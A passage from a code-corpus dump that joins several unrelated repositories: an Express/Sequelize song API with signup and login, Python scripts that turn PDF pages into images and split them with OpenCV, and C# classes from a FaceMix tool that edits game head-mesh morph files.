5e0ece8f242b161cc03e3e46f89eccaec0e453c1
[ "Markdown", "Python" ]
4
Python
gabriels3t/introducao-Ao-Django-site-de-receita
a41774f4e775ba065125585de6f05ca56da023ac
cf7799906d6c54dd6e015758e2688e263b956dec
refs/heads/master
<repo_name>jomaora/lpdw-api-2016<file_sep>/database/index.js 'use strict'; const path = require('path'); const Sequelize = require('sequelize'); const url = (process.env.DATABASE_URL || '').match(/(.*)\:\/\/(.*?)\:(.*)@(.*)\:(.*)\/(.*)/); const DB_name = url ? url[6] : null; const user = url ? url[2] : null; const pwd = url ? url[3] : null; const protocol = url ? url[1] : null; const dialect = url ? url[1] : 'sqlite'; const port = url ? url[5] : null; const host = url ? url[4] : null; const storage = process.env.DATABASE_STORAGE || 'database.sqlite'; const sequelize = new Sequelize(DB_name, user, pwd, { dialect, protocol, port, host, omitNull: true, storage }); exports.sequelize = sequelize; sequelize.sync() .then(() => { console.log('db loaded'); }) ; exports.Users = sequelize.import(path.join(__dirname, 'users')); exports.Songs = sequelize.import(path.join(__dirname, 'songs'));<file_sep>/services/authentication.js const bcrypt = require('bcrypt'); const LocalStrategy = require('passport-local').Strategy; const UserService = require('../services/userService'); module.exports.songApiLocalStrategy = () => { return new LocalStrategy((username, password, done) => { return UserService.findOneByQuery({ username: username }) .then(user => { if (!user) { return done(null, false, { message: 'Incorrect username.' }); } if (!bcrypt.compareSync(password, user.password)) { return done(null, false, { message: 'Incorrect password.' }); } return done(null, user); }) .catch(err => { return done(err); }); }); };<file_sep>/routes/signup.js const express = require('express'); const _ = require('lodash'); const bcrypt = require('bcrypt'); const router = express.Router(); const UserService = require('../services/userService'); const APIError = require('../lib/apiError'); router.get('/', (req, res, next) => { const err = (req.session.err) ? req.session.err : null; if (req.accepts('text/html')) { return res.render('signup', {err}); } next(new APIError(406, 'Not valid type for asked ressource')); }); const bodyVerificator = (req, res, next) => { if (req.body.username && req.body.password && req.body.displayName) { return next(); } const attributes = _.keys(req.body); const mandatoryAttributes = ['username', 'password', 'displayName']; const missingAttributes = _.difference(mandatoryAttributes, attributes); const emptyAttributes = _.filter(mandatoryAttributes, key => _.isEmpty(req.body[key])); let error = null; if (missingAttributes.length) { error = new APIError(400, 'Missing mandatory data :' + missingAttributes.toString()); } if (!error && emptyAttributes.length) { error = new APIError(400, emptyAttributes.toString() + ' should not be empty'); } if (req.accepts('text/html')) { req.session.err = error.message; return res.redirect('/signup'); } return next(error); }; router.post('/', bodyVerificator, (req, res, next) => { if (!req.accepts('application/json') && !req.accepts('text/html')) { return next(new APIError(406, 'Not valid type for asked ressource')); } UserService.findOneByQuery({username: req.body.username}) .then(user => { if (user) { return Promise.reject(new APIError(409, 'Existing user')); } const salt = bcrypt.genSaltSync(10); const hash = bcrypt.hashSync(req.body.password, salt); req.body.password = <PASSWORD>; return UserService.createUser(req.body); }) .then(user => { if (req.accepts('text/html')) { return res.render('registered', {user: _.omit(user.dataValues, 'password')}); } return res.status(200).send(_.omit(user.dataValues, 'password')); }) .catch(error => { if (req.accepts('text/html')) { req.session.err = error.message; return res.redirect('/signup'); } else { return next(error); } }); }); module.exports = router;<file_sep>/services/songService.js 'use strict' const db = require('../database'); exports.find = (query = {}) => { return db.Songs.findAll({ where: query }); }; exports.create = song => { const model = db.Songs.build(song); return model.validate() .then(err => { if (err) { return Promise.reject(err); } return model.save(); }) ; }; exports.findOneByQuery = query => { return db.Songs.findOne({ where: query }); }; exports.delete = (query = {}) => { return db.Songs.destroy({ where: query }); }; exports.updateById = (id, dataToUpdate) => { return db.Songs.update(dataToUpdate, { where: { id }, returning: true }); };<file_sep>/database/songs.js 'use strict'; module.exports = (sequelize, DataTypes) => { return sequelize.define('Songs', { title: { type: DataTypes.STRING, validate: {notEmpty: {msg: "-> Missing title"}} }, album: { type: DataTypes.STRING, validate: {notEmpty: {msg: "-> Missing title"}} }, artist: { type: DataTypes.STRING, validate: {notEmpty: {msg: "-> Missing title"}} }, year: { type: DataTypes.INTEGER }, bpm: { type: DataTypes.INTEGER } }); };<file_sep>/routes/songs.js const express = require('express'); const _ = require('lodash'); const router = express.Router(); const SongService = require('../services/songService'); const APIError = require('../lib/apiError'); const songBodyVerification = (req, res, next) => { const mandatoryAttributes = ['title', 'album', 'artist']; let error = null; const attributes = _.keys(req.body); if (_.some(mandatoryAttributes, key => _.isEmpty(req.body[key]))) { error = new APIError(400, `${mandatoryAttributes.toString()} fields are mandatory`); } if (!req.accepts('text/html') && error) { return next(error); } if (error) { req.session.err = error; req.session.song = req.body; return res.redirect('/songs/add'); } next(); }; const songTransformation = (req, res, next) => { let error = null; if (req.body.year && !_.isFinite(parseInt(req.body.year, 10))) { return next(new APIError(400, 'Year should be a number')); } if (req.body.bpm && !_.isFinite(parseInt(req.body.bpm, 10))) { return next(new APIError(400, 'BPM should be a number')); } if (!req.accepts('text/html') && error) { return next(error); } if (error) { req.session.err = error; req.session.song = req.body; return res.redirect('/songs/add'); } req.body.year = (_.isEmpty(req.body.year)) ? undefined : req.body.year; req.body.bpm = (_.isEmpty(req.body.bpm)) ? undefined : req.body.bpm; next(); } router.post('/', songBodyVerification, songTransformation, (req, res, next) => { return SongService.create(req.body) .then(song => { if (req.accepts('text/html')) { return res.redirect('/songs/' + song.id); } if (req.accepts('application/json')) { return res.status(201).send(song); } }) .catch(next) ; }); router.get('/', (req, res, next) => { SongService.find(req.query) .then(songs => { if (req.accepts('text/html')) { return res.render('songs', {songs: songs}); } if (req.accepts('application/json')) { return res.status(200).send(songs); } }) .catch(next); }); router.delete('/', (req, res) => { SongService.delete() .then(() => { res.status(204).send(); }) .catch(function(err) { res.status(500).send(err); }) ; }); router.get('/add', (req, res, next) => { const song = (req.session.song) ? req.session.song : {}; const err = (req.session.err) ? req.session.err : null; if (!req.accepts('text/html')) { return next(new APIError(406, 'Not valid type for asked resource')); } req.session.song = null; req.session.err = null; res.render('newSong', {song, err}); }); router.get('/edit/:id', (req, res, next) => { const err = (req.session.err) ? req.session.err : null; if (!req.accepts('text/html')) { return next(new APIError(406, 'Not valid type for asked resource')); } SongService.findOneByQuery({id: req.params.id}) .then(song => { if (!song) { return next(new APIError(404, 'No song found with id' + req.params.id)); } return res.render('editSong', {song, err}); }) .catch(next); }); router.get('/:id', (req, res, next) => { if (!req.accepts('text/html') && !req.accepts('application/json')) { return next(new APIError(406, 'Not valid type for asked resource')); } SongService.findOneByQuery({id: req.params.id}) .then(song => { if (!song) { return next(new APIError(404, `id ${req.params.id} not found`)); } if (req.accepts('text/html')) { return res.render('song', {song: song}); } if (req.accepts('application/json')) { return res.status(200).send(song); } }) .catch(next) ; }); router.put('/:id', songTransformation, (req, res, next) => { SongService.updateById(req.params.id, req.body) .then(result => { if (req.accepts('text/html')) { return res.redirect('/songs/' + req.params.id); } if (req.accepts('application/json')) { return res.status(201).send(result); } }) .catch(err => { req.session.err = err; if (req.accepts('text/html')) { return res.redirect('/songs/edit/' + req.params.id); } next(err); }); }); router.delete('/:id', (req, res) => { SongService.delete({id: req.params.id}) .then(() => { res.status(204).send(); }) .catch(err => { res.status(500).send(err); }) ; }); router.get('/artist/:artist', (req, res) => { SongService.find({ artist: { $like: `%${req.params.artist}%` } }) .then(songs => { res.status(200).send(songs); }) .catch(err => { console.log(err); res.status(500).send(err); }) ; }); module.exports = router;
2eb5c3a5e539e2c415db3c9aa899e610b0496dea
[ "JavaScript" ]
6
JavaScript
jomaora/lpdw-api-2016
646858aad9b4e8b5f4106e33bafc1a8c3ba6c2bc
51528dc1f0636ca94a06e369b24542dcda995d89
refs/heads/main
<repo_name>wokuang/pdfImageTest<file_sep>/pdf2Img.py # import module from pdf2image import convert_from_path #file_name = './ch01_test.pdf' file_name = '/Users/bruce_t_wang/dev/pdfTest/ch04_test.pdf' # Store Pdf with convert_from_path function images = convert_from_path(file_name) for i in range(len(images)): # Save pages as images in the pdf images[i].save('page'+ str(i) +'.jpg', 'JPEG') <file_sep>/splitImg.py import cv2 import os def run_main(): for x in range(0,6): file_name = f'page{x}.jpg' print (file_name) splitImsge(file_name) def splitImsge(file_name): #file_name = 'page0.jpg' basename = os.path.basename(file_name).split('.')[0] img = cv2.imread(file_name) [h,w] = img.shape[:2] print (f"the h is {h} , the w is {w}") upperSkip = 290 lowSkip = 170 imgH = h - upperSkip - lowSkip upperPath = basename + '_01.jpg' middlePath = basename + '_02.jpg' lowPath = basename + '_03.jpg' #upperPath = basename + '_upper2.jpg' #middlePath = basename + '_middle2.jpg' #lowPath = basename + '_low2.jpg' upper1 = upperSkip upper2 = upperSkip + int(imgH/3) middle1 = upperSkip + int(imgH/3) middle2 = upperSkip + int(imgH/3)*2 low1 = upperSkip + int(imgH/3)*2 low2 = upperSkip + int(imgH) #upperImg = img[:int(h/3),:,:] #middleImg = img[int(h/3):int(h/3)*2,:,:] #lowImg = img[int(h/3)*2:,:,:] upperImg = img[upper1:upper2,:,:] middleImg = img[middle1:middle2,:,:] lowImg = img[low1:low2,:,:] cv2.imwrite(upperPath, upperImg) cv2.imwrite(middlePath, middleImg) cv2.imwrite(lowPath, lowImg) if __name__ == "__main__": run_main() <file_sep>/README.md # pdfImageTest Use python convert pdf, and deal with image file ## use library and package * handle pdf package * [pdf2image](https://github.com/Belval/pdf2image) - A python module that wraps the pdftoppm utility to convert PDF to PIL Image object * Mac users will have to install poppler for Mac * [Python將PDF轉成圖片——PyMuPDF和pdf2image](https://www.twblogs.net/a/5d483d89bd9eee541c30323b) * handle image package * [opencv](https://pypi.org/project/opencv-python/) * `$ pip install opencv-python` * [OpenCV with Python for Image and Video Analysis](https://www.youtube.com/playlist?list=PLQVvvaa0QuDdttJXlLtAJxJetJcqmqlQq) youtube
db04e704d4c6497efffda0c62d30a6ae1eeb1004
[ "Markdown", "Python" ]
3
Python
wokuang/pdfImageTest
1f6b3a8384882313ff5f0004b8649bc98ff5cd17
eca2d9797c3df1a02c55f438103317652dbac87e
refs/heads/master
<repo_name>whztt07/FaceMix<file_sep>/FaceMixExtendedModifiers/GenerateDispAngerExpressionsMorphs.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Windows.Forms; using System.IO; using FaceMix.Base; using FaceMix.Core; using FaceMix.Wrappers; namespace FaceMix.ExtendedModifiers { [Modifier("Generate DispAnger Expressions Morphs")] public class GenerateDispAngerExpressionsMorphs : AbstractMorphModifier { private enum Expression { Anger40 = 0, Anger30 = 1, Anger20 = 2, Anger10 = 3, Anger0 = 4} private enum Morph { DispAnger1, DispAnger2, DispAnger3, DispAnger4 } private Dictionary<Expression, MeshBase> expressions; private Dictionary<Expression, Dictionary<Morph,double>> weights; public override event AbstractModifier.Ready WhenReady; public enum Mode { Absolute, Relative }; private Mode mode; private GenerateDispAngerExpressionsMorphsControl menu; private HeadFile target; private bool applied; private List<int> ignoreList; private double accuracy; public GenerateDispAngerExpressionsMorphs() { this.menu = new GenerateDispAngerExpressionsMorphsControl(); this.ignoreList = new List<int>(); this.weights = new Dictionary<Expression, Dictionary<Morph, double>>(); this.expressions = new Dictionary<Expression, MeshBase>(); this.menu.openOBJFileButton.Click += new EventHandler(openOBJFileButton_Click); this.menu.openIgnoreListButton.Click += new EventHandler(openIgnoreListButton_Click); this.menu.applyButton.Click += new EventHandler(applyButton_Click); this.menu.clearIgnoreListButton.Click += new EventHandler(clearIgnoreListButton_Click); this.menu.openWeightsButton.Click += new EventHandler(openWeightsButton_Click); this.menu.accuracyNumericUpDown.ValueChanged += new EventHandler(accuracyNumericUpDown_ValueChanged); this.menu.absoluteRadioButton.CheckedChanged += new EventHandler(absoluteRadioButton_CheckedChanged); this.menu.relativeRadiobutton.CheckedChanged += new EventHandler(relativeRadiobutton_CheckedChanged); this.menu.expressionsListView.MouseDoubleClick += new MouseEventHandler(expressionsListView_MouseDoubleClick); for (int i = 0; i < 5; i++) { Expression exp = (Expression)i; ListViewItem item = new ListViewItem(exp.ToString()); item.SubItems.Add("None"); item.SubItems.Add("None"); this.menu.expressionsListView.Items.Add(item); } this.applied = false; this.accuracy = (double)this.menu.accuracyNumericUpDown.Value; this.mode = Mode.Relative; this.menu.relativeRadiobutton.Checked = true; this.LoadWeights(Environment.CurrentDirectory + "\\Defaults\\DispAnger.txt"); } void expressionsListView_MouseDoubleClick(object sender, MouseEventArgs e) { ListViewItem item = this.menu.expressionsListView.GetItemAt(e.X, e.Y); if (item == null) return; this.openOBJFileButton_Click(sender, e); } void relativeRadiobutton_CheckedChanged(object sender, EventArgs e) { this.mode = Mode.Relative; } void absoluteRadioButton_CheckedChanged(object sender, EventArgs e) { this.mode = Mode.Absolute; } void openWeightsButton_Click(object sender, EventArgs e) { OpenFileDialog open = new OpenFileDialog(); open.Filter = "Text Files (*.txt)|*.TXT|" + "All files (*.*)|*.*"; if (open.ShowDialog() == DialogResult.OK) { this.LoadWeights(open.FileName); } } void LoadWeights(string file) { try { StreamReader reader = new StreamReader(new FileStream(file, FileMode.Open)); string text2 = reader.ReadToEnd().Replace("\r", ""); reader.Close(); string text = text2.Replace(" ", ""); string[] lines = text.Split(new char[] { '\n' }, StringSplitOptions.RemoveEmptyEntries); Dictionary<Expression, Dictionary<Morph, double>> buf = new Dictionary<Expression, Dictionary<Morph, double>>(); foreach (string str in lines) { string[] sub = str.Split(new char[] { '=' }, StringSplitOptions.RemoveEmptyEntries); Expression exp = (Expression)Enum.Parse(typeof(Expression), sub[0]); if (buf.ContainsKey(exp)) return; Dictionary<Morph, double> weights = new Dictionary<Morph, double>(); string[] sub2 = sub[1].Split(new char[] { '+' }, StringSplitOptions.RemoveEmptyEntries); foreach (string str2 in sub2) { string[] sub3 = str2.Split(new char[] { '*' }, StringSplitOptions.RemoveEmptyEntries); double weight = double.Parse(sub3[0]); Morph morph = (Morph)Enum.Parse(typeof(Morph), sub3[1]); if (weights.ContainsKey(morph)) return; weights.Add(morph, weight); } buf.Add(exp, weights); } if (buf.Count < 5) return; this.weights = buf; lines = text2.Split(new char[] { '\n' }); foreach (string str in lines) { string[] sub = str.Split(new char[] { '=' }, StringSplitOptions.RemoveEmptyEntries); Expression exp = (Expression)Enum.Parse(typeof(Expression), sub[0]); foreach (ListViewItem item in this.menu.expressionsListView.Items) { Expression exp2 = (Expression)Enum.Parse(typeof(Expression), item.Text); if (exp2 == exp) { item.SubItems[1].Text = sub[1]; break; } } } } catch (Exception ex) { //MessageBox.Show(ex.ToString()); } } void accuracyNumericUpDown_ValueChanged(object sender, EventArgs e) { this.accuracy = (double)this.menu.accuracyNumericUpDown.Value; } void clearIgnoreListButton_Click(object sender, EventArgs e) { this.ignoreList.Clear(); this.menu.ignoreListTextBox.Clear(); } void applyButton_Click(object sender, EventArgs e) { if (this.WhenReady != null) this.WhenReady(this, new EventArgs()); } void openIgnoreListButton_Click(object sender, EventArgs e) { OpenFileDialog open = new OpenFileDialog(); open.Filter = "Text Files (*.txt)|*.TXT|" + "All files (*.*)|*.*"; if (open.ShowDialog() == DialogResult.OK) { StreamReader reader = new StreamReader(new FileStream(open.FileName, FileMode.Open)); string text = reader.ReadToEnd().Replace("\r", ""); string[] result = text.Split(new char[] { '\n', ' ', ',' }, StringSplitOptions.RemoveEmptyEntries); List<int> buff = new List<int>(); //bool warning = false; foreach (string str in result) { try { buff.Add(int.Parse(str)); } catch (Exception) { //warning = true; } finally { reader.Close(); } } this.ignoreList.AddRange(buff); StringBuilder bld = new StringBuilder(); foreach (int nr in buff) { bld.Append(nr.ToString() + " , "); } this.menu.ignoreListTextBox.Text = bld.ToString(); } } void openOBJFileButton_Click(object sender, EventArgs e) { OpenFileDialog open = new OpenFileDialog(); open.Filter = "OBJ Files (*.obj)|*.OBJ|" + "Nif Files (*.nif)|*.nif|" + "All files (*.*)|*.*"; if (open.ShowDialog() == DialogResult.OK && this.menu.expressionsListView.SelectedItems.Count > 0) { try { FileStream stream = new FileStream(open.FileName, FileMode.Open); ListViewItem item = this.menu.expressionsListView.SelectedItems[0]; Expression exp = (Expression)Enum.Parse(typeof(Expression), item.Text); if (this.expressions.ContainsKey(exp)) { if (open.FileName.ToLower().EndsWith(".obj")) { OBJFile objFile = new OBJFile(stream); MeshBase mesh = objFile.Mesh; this.expressions[exp] = mesh; } else { NifFile nifFile = new NifFile(stream); MeshBase mesh = nifFile.MeshData[0]; this.expressions[exp] = mesh; } } else { if (open.FileName.ToLower().EndsWith(".obj")) { OBJFile objFile = new OBJFile(stream); MeshBase mesh = objFile.Mesh; this.expressions.Add(exp, mesh); } else { NifFile nifFile = new NifFile(stream); MeshBase mesh = nifFile.MeshData[0]; this.expressions.Add(exp, mesh); } } //this.reference = new OBJFile(stream); item.SubItems[2].Text = open.FileName; stream.Close(); } catch (Exception ex) { } } } public override string Name { get { return "Generate DispAnger Expressions Morphs"; } } public override HeadFile Apply() { if (this.weights.Count < 5) return this.target; if (this.expressions.Count < 5) return this.target; foreach (KeyValuePair<Expression,MeshBase> keypair in this.expressions) { if (keypair.Value == null) return this.target; } if (this.mode == Mode.Relative) return this.ApplyRelative(); else return this.ApplyAbsolute(); } private HeadFile ApplyRelative() { Dictionary<Expression, List<VertexDisplacement>> displacements = new Dictionary<Expression, List<VertexDisplacement>>(); for (int j = 0; j < 5; j++) { Expression exp = (Expression)j; displacements.Add(exp, this.CalculateDisplacements(this.target.TRI.Vertices, this.expressions[exp].Vertices, this.ignoreList, this.accuracy)); } Dictionary<Morph, List<Triple<double, double, double>>> unmorphs = new Dictionary<Morph, List<Triple<double, double, double>>>(); for (int i = 0; i < 4; i++) { Morph morph = (Morph)i; List<Triple<double, double, double>> unmorph = new List<Triple<double, double, double>>(); for (int j = 0; j < this.target.TRI.Header.VertexCount; j++) { unmorph.Add(new Triple<double, double, double>()); } foreach (KeyValuePair<Expression, Dictionary<Morph, double>> weight in this.weights) { if (weight.Value.ContainsKey(morph)) { List<VertexDisplacement> mlist = displacements[weight.Key]; double w = weight.Value[morph]; for (int k = 0; k < mlist.Count; k++) { Triple<double, double, double> aux = unmorph[k]; aux.X = aux.X + w * (double)(mlist[k].X); aux.Y = aux.Y + w * (double)(mlist[k].Y); aux.Z = aux.Z + w * (double)(mlist[k].Z); unmorph[k] = aux; } } } for (int j = 0; j < unmorph.Count; j++) { Triple<double, double, double> aux = unmorph[j]; aux.X = aux.X / 100d; aux.Y = aux.Y / 100d; aux.Z = aux.Z / 100d; unmorph[j] = aux; } unmorphs.Add(morph, unmorph); } Dictionary<Morph, List<VertexDisplacement>> morphs = new Dictionary<Morph, List<VertexDisplacement>>(); foreach (KeyValuePair<Morph, List<Triple<double, double, double>>> keypair in unmorphs) { double totalscale = 0; foreach (KeyValuePair<Expression, Dictionary<Morph, double>> weight in this.weights) { if (weight.Value.ContainsKey(keypair.Key)) totalscale += weight.Value[keypair.Key]; } if (totalscale > 100) { List<VertexDisplacement> morph = new List<VertexDisplacement>(); double max = 100 / totalscale; for (int i = 0; i < keypair.Value.Count; i++) { Triple<double, double, double> triple = keypair.Value[i]; morph.Add(new VertexDisplacement((short)(Math.Min(triple.X * max, short.MaxValue)), (short)(Math.Min(triple.Y * max, short.MaxValue)), (short)(Math.Min(triple.Z * max, short.MaxValue)))); } morphs.Add(keypair.Key, morph); } else { List<VertexDisplacement> morph = new List<VertexDisplacement>(); for (int i = 0; i < keypair.Value.Count; i++) { Triple<double, double, double> triple = keypair.Value[i]; morph.Add(new VertexDisplacement((short)(triple.X), (short)(triple.Y), (short)(triple.Z))); } morphs.Add(keypair.Key, morph); } } HeadFile ret = new HeadFile(this.target); try { foreach (KeyValuePair<Morph, List<VertexDisplacement>> keypair in morphs) { List<VertexDisplacement> morph2 = keypair.Value; foreach (TRIMorphData morph in ret.TRI.Morphs) { if (morph.Name.ToLower().StartsWith(keypair.Key.ToString().ToLower())) { for (int i = 0; i < ret.TRI.Header.VertexCount; i++) { morph[i] = morph2[i]; } } } } } catch (Exception) { return this.target; } this.applied = true; return ret; } private HeadFile ApplyAbsolute() { Dictionary<Expression, List<Triple<double, double, double>>> offsets = new Dictionary<Expression, List<Triple<double, double, double>>>(); foreach (KeyValuePair<Expression, MeshBase> expression in this.expressions) { offsets.Add(expression.Key, this.CalculateOffsets(this.target.TRI.Vertices, expression.Value.Vertices)); } Dictionary<Morph, List<VertexPosition>> unmorphs = new Dictionary<Morph, List<VertexPosition>>(); for (int i = 0; i < 4; i++) { Morph morph = (Morph)i; List<Triple<double, double, double>> unmorph = new List<Triple<double, double, double>>(); for (int j = 0; j < this.target.TRI.Header.VertexCount; j++) { unmorph.Add(new Triple<double, double, double>()); } foreach (KeyValuePair<Expression, Dictionary<Morph, double>> weight in this.weights) { if (weight.Value.ContainsKey(morph)) { List<Triple<double, double, double>> mlist = offsets[weight.Key]; double w = weight.Value[morph]; for (int k = 0; k < mlist.Count; k++) { Triple<double, double, double> aux = unmorph[k]; aux.X = aux.X + w * (double)(mlist[k].X); aux.Y = aux.Y + w * (double)(mlist[k].Y); aux.Z = aux.Z + w * (double)(mlist[k].Z); unmorph[k] = aux; } } } List<VertexPosition> unmorph2 = new List<VertexPosition>(); for (int j = 0; j < unmorph.Count; j++) { Triple<double, double, double> aux = unmorph[j]; VertexPosition pos = new VertexPosition(); pos.X = this.target.TRI.Vertices[j].X - (float)(aux.X / 100d); pos.Y = this.target.TRI.Vertices[j].Y - (float)(aux.Y / 100d); pos.Z = this.target.TRI.Vertices[j].Z - (float)(aux.Z / 100d); unmorph2.Add(pos); } unmorphs.Add(morph, unmorph2); } Dictionary<Morph, List<VertexDisplacement>> displacements = new Dictionary<Morph, List<VertexDisplacement>>(); for (int i = 0; i < 4; i++) { Morph morph = (Morph)i; displacements.Add(morph, this.CalculateDisplacements(this.target.TRI.Vertices, unmorphs[morph], this.ignoreList, this.accuracy)); } HeadFile ret = new HeadFile(this.target); try { foreach (KeyValuePair<Morph, List<VertexDisplacement>> keypair in displacements) { foreach (TRIMorphData morph in ret.TRI.Morphs) { if (morph.Name.ToLower().StartsWith(keypair.Key.ToString().ToLower())) { for (int i = 0; i < ret.TRI.Header.VertexCount; i++) morph[i] = keypair.Value[i]; } } } } catch (Exception) { return this.target; } this.applied = true; return ret; } public override HeadFile Apply(HeadFile target) { throw new NotImplementedException(); } public override UserControl Menu { get { return this.menu; } } public override ListViewItem ToListViewItem(int index) { ListViewItem ret = new ListViewItem(index.ToString()); ret.SubItems.Add("Generate DispAnger Expressions Morphs"); ret.SubItems.Add("Applied: " + this.applied.ToString()); return ret; } public override HeadFile Target { get { return this.target; } set { this.target = value; } } public override bool Applied { get { return this.applied; } } public override string Properties { get { return "Applied: " + this.applied.ToString(); } } } } <file_sep>/FaceMixBase/TRIHeader.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; namespace FaceMix.Base { public class TRIHeader { private string version; private int vertexCount; private int polytriCount; private int polyquadCount; private int unknown2; private int unknown3; private int uvVertexCount; private int flags; private int morphCount; private int modifierCount; private int modVertexCount; private int unknown7; private int unknown8; private int unknown9; private int unknown10; public string Identifier { get { return "FR"; } } public string FileType { get { return "TRI"; } } public string Version { get { return this.version; } set { this.version = value; } } public int VertexCount { get { return this.vertexCount; } set { this.vertexCount = value; } } public int PolytriCount { get { return this.polytriCount; } set { this.polytriCount = value; } } public int PolyQuadCount { get { return this.polyquadCount; } set { this.polyquadCount = value; } } public int Unknown2 { get { return this.unknown2; } set { this.unknown2 = value; } } public int Unknown3 { get { return this.unknown3; } set { this.unknown3 = value; } } public int UvVerticeCount { get { return this.uvVertexCount; } set { this.uvVertexCount = value; } } public int Flags { get { return this.flags; } set { this.flags = value; } } public int MorphCount { get { return this.morphCount; } set { this.morphCount = value; } } public int ModifierCount { get { return this.modifierCount; } set { this.modifierCount = value; } } public int ModVertexCount { get { return this.modVertexCount; } set { this.modVertexCount = value; } } public int Unknown7 { get { return this.unknown7; } set { this.unknown7 = value; } } public int Unknown8 { get { return this.unknown8; } set { this.unknown8 = value; } } public int Unknown9 { get { return this.unknown9; } set { this.unknown9 = value; } } public int Unknown10 { get { return this.unknown10; } set { this.unknown10 = value; } } public TRIHeader() { this.version = "000"; this.vertexCount = 0; this.polytriCount = 0; this.polyquadCount = 0; this.unknown2 = 0; this.unknown3 = 0; this.uvVertexCount = 0; this.flags = 0; this.morphCount = 0; this.modifierCount = 0; this.modVertexCount = 0; this.unknown7 = 0; this.unknown8 = 0; this.unknown9 = 0; this.unknown10 = 0; } public TRIHeader(TRIHeader header) { this.version = header.version.Clone() as string; this.vertexCount = header.vertexCount; this.polytriCount = header.polytriCount; this.polyquadCount = header.polyquadCount; this.unknown3 = header.unknown3; this.unknown2 = header.unknown2; this.uvVertexCount = header.uvVertexCount; this.flags = header.flags; this.morphCount = header.morphCount; this.modifierCount = header.modifierCount; this.modVertexCount = header.modVertexCount; this.unknown7 = header.unknown7; this.unknown8 = header.unknown8; this.unknown9 = header.unknown9; this.unknown10 = header.unknown10; } public TRIHeader(BinaryReader reader) { reader.ReadBytes(5); byte[] version = reader.ReadBytes(3); this.version = TRIFile.BytesToString(version); this.vertexCount = reader.ReadInt32(); this.polytriCount = reader.ReadInt32(); this.polyquadCount = reader.ReadInt32(); this.unknown2 = reader.ReadInt32(); this.unknown3 = reader.ReadInt32(); this.uvVertexCount = reader.ReadInt32(); this.flags = reader.ReadInt32(); this.morphCount = reader.ReadInt32(); this.modifierCount = reader.ReadInt32(); this.modVertexCount = reader.ReadInt32(); this.unknown7 = reader.ReadInt32(); this.unknown8 = reader.ReadInt32(); this.unknown9 = reader.ReadInt32(); this.unknown10 = reader.ReadInt32(); } public void Write(BinaryWriter writer) { writer.Write(TRIFile.StringToBytes("FR")); writer.Write(TRIFile.StringToBytes("TRI")); writer.Write(TRIFile.StringToBytes(this.version)); writer.Write(this.vertexCount); writer.Write(this.polytriCount); writer.Write(this.polyquadCount); writer.Write(this.unknown2); writer.Write(this.unknown3); writer.Write(this.uvVertexCount); writer.Write(this.flags); writer.Write(this.morphCount); writer.Write(this.modifierCount); writer.Write(this.modVertexCount); writer.Write(this.unknown7); writer.Write(this.unknown8); writer.Write(this.unknown9); writer.Write(this.unknown10); } } } <file_sep>/FaceMix/RemoveVampirismEffect.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Windows.Forms; using FaceMix.Base; using FaceMix.Core; namespace FaceMix { [Modifier("Remove Vampirism Effect")] public class RemoveVampirismEffect : AbstractModifier { private RemoveVampirismEffectControl menu; private bool applied; public override event AbstractModifier.Ready WhenReady; private HeadFile target; public RemoveVampirismEffect() { this.menu = new RemoveVampirismEffectControl(); this.menu.applyButton.Click += new EventHandler(applyButton_Click); this.applied = false; } void applyButton_Click(object sender, EventArgs e) { this.WhenReady(this, e); } public override string Name { get { return "Remove Vampirism Effect"; } } public override HeadFile Apply() { if (this.target == null) return null; HeadFile ret = new HeadFile(this.target); TRIMorphData targetMorph = null; foreach (TRIMorphData morph in ret.TRI.Morphs) { if(morph.Name.ToLower().StartsWith("vampiremorph")) { targetMorph = morph; break; } } if(targetMorph != null) { for (int i = 0; i < ret.TRI.Header.VertexCount; i++) targetMorph[i] = new VertexDisplacement(0, 0, 0); this.applied = true; this.menu.appliedLabel.Text = "Applied: True"; } return ret; } public override HeadFile Apply(HeadFile target) { throw new NotImplementedException(); } public override UserControl Menu { get { return this.menu; } } public override ListViewItem ToListViewItem(int index) { if (this.applied == true) { ListViewItem ret = new ListViewItem(index.ToString()); ret.SubItems.Add("Remove Vampirism Effect"); ret.SubItems.Add("Applied: True"); return ret; } else { ListViewItem ret = new ListViewItem(index.ToString()); ret.SubItems.Add("Remove Vampirism Effect"); ret.SubItems.Add("Applied: False"); return ret; } } public override HeadFile Target { get { return this.target; } set { this.target = value; } } public override bool Applied { get { return this.applied; } } public override string Properties { get { return "Remove Vampirism Effect " + "Applied: " + this.applied.ToString(); } } } } <file_sep>/FaceMixCore/MeshBase.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace FaceMix.Core { public class MeshBase { protected string name; protected List<VertexPosition> vertices; protected List<TriangleFace> triangleFaces; protected List<QuadFace> quadFaces; public virtual string Name { get { return this.name; } set { this.name = value; } } public virtual List<VertexPosition> Vertices { get { return this.vertices; } set { this.vertices = new List<VertexPosition>(value); } } public virtual List<TriangleFace> TriangleFaces { get { return this.triangleFaces; } set { this.triangleFaces = new List<TriangleFace>(value); } } public virtual List<QuadFace> QuadFaces { get { return this.quadFaces; } set { this.quadFaces = new List<QuadFace>(value); } } public MeshBase() { this.name = ""; this.vertices = new List<VertexPosition>(); this.triangleFaces = new List<TriangleFace>(); this.quadFaces = new List<QuadFace>(); } public MeshBase(MeshBase mesh) { this.name = mesh.name.Clone() as string; this.vertices = new List<VertexPosition>(mesh.vertices); this.triangleFaces = new List<TriangleFace>(mesh.triangleFaces); this.quadFaces = new List<QuadFace>(mesh.quadFaces); } } } <file_sep>/FaceMixBase/EGMFile.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; using FaceMix.Core; namespace FaceMix.Base { public class EGMFile { private string version; private int verticeCount; private int symSize; private int asymSize; private uint dateStamp; private int[] unknown; private List<EGMMorphset> symMorphs; private List<EGMMorphset> asymMorphs; public string Indentifier { get { return "FR"; } } public string FileType { get { return "EGM"; } } public string Version { get { return this.version; } set { this.version = value; } } public int VerticeCount { get { return this.verticeCount; } set { this.verticeCount = value; } } public int SymSize { get { return this.symSize; } set { this.symSize = value; } } public int AsymSize { get { return this.asymSize; } set { this.asymSize = value; } } public uint DateStamp { get { return this.dateStamp; } set { this.dateStamp = value; } } public int[] Unknown { get { return this.unknown; } set { this.unknown = value; } } public List<EGMMorphset> SymMorps { get { return this.symMorphs; } set { this.symMorphs = value; } } public List<EGMMorphset> AsymMorps { get { return this.asymMorphs; } set { this.asymMorphs = value; } } public 